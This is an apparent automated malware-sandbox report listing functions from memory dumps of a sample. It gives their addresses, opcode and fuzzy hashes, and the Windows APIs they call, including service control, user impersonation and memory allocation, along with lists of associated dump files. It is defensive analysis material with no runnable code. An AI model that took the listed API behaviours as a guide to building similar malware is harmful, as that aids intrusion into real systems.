String ID:
API String ID: 3849694230-0
Opcode ID: fed83d1894a1a6e26c477fcb7e8ab2414eeeebada324cb62b7391518ce6f7287
Instruction ID: e6e74bd72d66ed7befdbfd5d4dfe588301a35e0072198fe1c4e91f7020ac4cf4
Opcode Fuzzy Hash: fed83d1894a1a6e26c477fcb7e8ab2414eeeebada324cb62b7391518ce6f7287
Instruction Fuzzy Hash: 38C15871D006199FEB10CFA8C8857AEBBB1FF45314F1486A9E858F7285D774A892CF81

Function 0049DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0049DF99

Memory Dump Source

Source File: 00000003.00000002.2539291125.000000000049C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.2539007687.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539034132.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539054234.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539073547.000000000031A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094009.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539112657.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539131019.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539222709.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539243450.0000000000482000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539267227.000000000049B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.000000000049F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539371806.00000000004BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539393936.00000000004BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539457941.00000000004BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539484000.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539542282.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539562983.00000000004D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539587128.00000000004DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539646246.00000000004E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539679296.00000000004F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539734920.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539754414.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539776136.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539830194.0000000000509000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539856533.000000000050D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539875628.000000000050E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539922251.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539954210.0000000000517000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540004747.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540025741.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540049374.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540081096.000000000053E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540105046.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540130265.0000000000551000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540161817.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540188842.0000000000572000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540213331.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540276196.00000000005A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540298706.00000000005A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540353167.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540378919.00000000005A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540446564.00000000005C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540466236.00000000005CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction ID: 53afba347b476e00cdc80e4aa0a843b5cbf2701da86d9ccf7e605b41eb5bfe31
Opcode Fuzzy Hash: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction Fuzzy Hash: 593107F290C700DFE745AF29D88167AFBF5EF98320F16882DD6C583614E67488948B57

Function 0049DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0049DE68

Memory Dump Source

Source File: 00000003.00000002.2539291125.000000000049C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.2539007687.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539034132.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539054234.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539073547.000000000031A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094009.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539112657.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539131019.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539222709.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539243450.0000000000482000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539267227.000000000049B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.000000000049F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539371806.00000000004BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539393936.00000000004BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539457941.00000000004BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539484000.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539542282.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539562983.00000000004D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539587128.00000000004DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539646246.00000000004E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539679296.00000000004F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539734920.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539754414.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539776136.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539830194.0000000000509000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539856533.000000000050D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539875628.000000000050E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539922251.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539954210.0000000000517000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540004747.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540025741.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540049374.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540081096.000000000053E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540105046.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540130265.0000000000551000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540161817.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540188842.0000000000572000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540213331.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540276196.00000000005A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540298706.00000000005A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540353167.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540378919.00000000005A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540446564.00000000005C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540466236.00000000005CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5cef0ec8cd3bea7a05750c8d9c8bc729cdc85af6f70efc7c5f443b4ee8bb039b
Instruction ID: 369ec66380329bf8ff4b18a727429c514808fba9b4621f1827364502c27b5404
Opcode Fuzzy Hash: 5cef0ec8cd3bea7a05750c8d9c8bc729cdc85af6f70efc7c5f443b4ee8bb039b
Instruction Fuzzy Hash: C23137B250C300AFD305BF19D885A6EFBF9EF94721F06882DE6C483610D6355454CBA7

Function 04BC0D42 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04BC0DCD

Memory Dump Source

Source File: 00000003.00000002.2542755314.0000000004BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bc0000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: cba8d30166cbabddc4a42a747d55f6fb5b201dd088b2985e86e6d9d0c92f4aa9
Instruction ID: 1aca3c625d4710c1235b41b7e6028e010818ee593d11ab666039d14681234357
Opcode Fuzzy Hash: cba8d30166cbabddc4a42a747d55f6fb5b201dd088b2985e86e6d9d0c92f4aa9
Instruction Fuzzy Hash: 582154B6900218CFCB40DF99D884ADEFBB1FB88320F10816AD808AB244C738A545CBA1

Function 04BC0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04BC0DCD

Memory Dump Source

Source File: 00000003.00000002.2542755314.0000000004BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bc0000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 8f5d042a7fc8beaf85b7a5c56ad767f78857fdaa71b61da8815e1146db84f495
Instruction ID: 387414a753a2c6c76e2e2e94aab30691453fcbaf2986d1391d6c68e74cbcf9dc
Opcode Fuzzy Hash: 8f5d042a7fc8beaf85b7a5c56ad767f78857fdaa71b61da8815e1146db84f495
Instruction Fuzzy Hash: C62102B6801218DFCB50DF99D884ADEFBF5EB88310F14825AD918AB204D734A540CBA5

Function 04BC1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04BC1580

Memory Dump Source

Source File: 00000003.00000002.2542755314.0000000004BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bc0000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 9f0b67a2854d4729f3857e944e164e4ec47e64432c83138ade40647aade3796e
Instruction ID: deddc5422b3540106c81fff0122cc7b1cb50af468dd43893d7a757e79612b6ac
Opcode Fuzzy Hash: 9f0b67a2854d4729f3857e944e164e4ec47e64432c83138ade40647aade3796e
Instruction Fuzzy Hash: 8F2112B19002499FDB10CF9AC484BDEFBF4FB48320F10802AE919B7241D378AA45CFA5

Function 04BC1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04BC1580

Memory Dump Source

Source File: 00000003.00000002.2542755314.0000000004BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bc0000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: f08fa658348645d3ed36119456c97c4c05d1f7cfb04dd368c02b8a2c0653cf81
Instruction ID: 96508311195bed6fea76897625b249d6a66244ce931123dfb76727dbab7a3efa
Opcode Fuzzy Hash: f08fa658348645d3ed36119456c97c4c05d1f7cfb04dd368c02b8a2c0653cf81
Instruction Fuzzy Hash: 3611E4B59002499FDB10CF9AC584BDEFBF4FB48320F10802AE959A3251D378A644CFA5

Function 04BC1301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04BC1367

Memory Dump Source

Source File: 00000003.00000002.2542755314.0000000004BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bc0000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 21332746bfcdb4220c9ebf6c02402e2b7974583c09833baa50a65ab530313ec6
Instruction ID: 95e45844ec4a65b27e36d97fb7cc40f2e9bbb9ffe579a18df672bab583f603fa
Opcode Fuzzy Hash: 21332746bfcdb4220c9ebf6c02402e2b7974583c09833baa50a65ab530313ec6
Instruction Fuzzy Hash: 741113B18002498FDB10CF9AC584BEEBBF8EF48324F20845AD558A3241C778A544CFA5

Function 04BC1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04BC1367

Memory Dump Source

Source File: 00000003.00000002.2542755314.0000000004BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bc0000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: e8acb56adfc8dbe55f20720e54f0ac90f5823261632bf75bc6c2b42e15ae8b96
Instruction ID: 4e07ecd648073f664bdcdb9c6a6cb9d1d53d0edb3a39705181b1ce48e255dba7
Opcode Fuzzy Hash: e8acb56adfc8dbe55f20720e54f0ac90f5823261632bf75bc6c2b42e15ae8b96
Instruction Fuzzy Hash: 121122B18002498FDB10CF9AC584BEEBBF8EB48324F20846AD558A3240C778A944CFA5

Function 004ABFE6 Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 004B047D

Memory Dump Source

Source File: 00000003.00000002.2539316181.00000000004A6000.00000040.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.2539007687.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539034132.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539054234.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539073547.000000000031A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094009.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539112657.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539131019.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539222709.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539243450.0000000000482000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539267227.000000000049B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539291125.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.000000000049F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539371806.00000000004BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539393936.00000000004BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539457941.00000000004BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539484000.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539542282.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539562983.00000000004D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539587128.00000000004DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539646246.00000000004E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539679296.00000000004F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539734920.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539754414.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539776136.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539830194.0000000000509000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539856533.000000000050D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539875628.000000000050E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539922251.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539954210.0000000000517000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540004747.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540025741.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540049374.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540081096.000000000053E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540105046.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540130265.0000000000551000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540161817.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540188842.0000000000572000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540213331.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540276196.00000000005A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540298706.00000000005A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540353167.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540378919.00000000005A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540446564.00000000005C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540466236.00000000005CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8bc9df4455ee3f9be0aa741967fc9d3f898edfdb20a8eace8e32bf92eabaa313
Instruction ID: f2347929f180b1b27bf3c9f5c87581f99e52eb2815b2f09ba629d6ad7a942d4f
Opcode Fuzzy Hash: 8bc9df4455ee3f9be0aa741967fc9d3f898edfdb20a8eace8e32bf92eabaa313
Instruction Fuzzy Hash: D6F09CB290C600DBD714AF28D84173EF3E8EF24710F15482DDBC693350D63928518A5B

Function 0031E6F5 Relevance: 1.3, APIs: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0031F891

Memory Dump Source

Source File: 00000003.00000002.2539073547.000000000031A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.2539007687.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539034132.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539054234.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094009.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539112657.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539131019.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539222709.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539243450.0000000000482000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539267227.000000000049B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539291125.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.000000000049F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539371806.00000000004BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539393936.00000000004BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539457941.00000000004BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539484000.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539542282.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539562983.00000000004D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539587128.00000000004DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539646246.00000000004E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539679296.00000000004F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539734920.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539754414.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539776136.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539830194.0000000000509000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539856533.000000000050D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539875628.000000000050E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539922251.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539954210.0000000000517000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540004747.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540025741.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540049374.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540081096.000000000053E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540105046.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540130265.0000000000551000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540161817.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540188842.0000000000572000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540213331.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540276196.00000000005A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540298706.00000000005A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540353167.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540378919.00000000005A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540446564.00000000005C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540466236.00000000005CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4e2105ccb2e483e0738a67ae9fa2120659b5c69d3b1e7bcef1e94af2183f1ebc
Instruction ID: b550ea6a6c161b7c228eed250edc00d1a7843d3dc38729e843958bcf16aa4450
Opcode Fuzzy Hash: 4e2105ccb2e483e0738a67ae9fa2120659b5c69d3b1e7bcef1e94af2183f1ebc
Instruction Fuzzy Hash: 070128BB50C20DCFD70DDE2488181FDF6D9DFAA350F66422D986707E84FE3248915241

Function 0031F1B6 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0031F1BB

Memory Dump Source

Source File: 00000003.00000002.2539073547.000000000031A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.2539007687.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539034132.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539054234.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094009.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539112657.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539131019.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
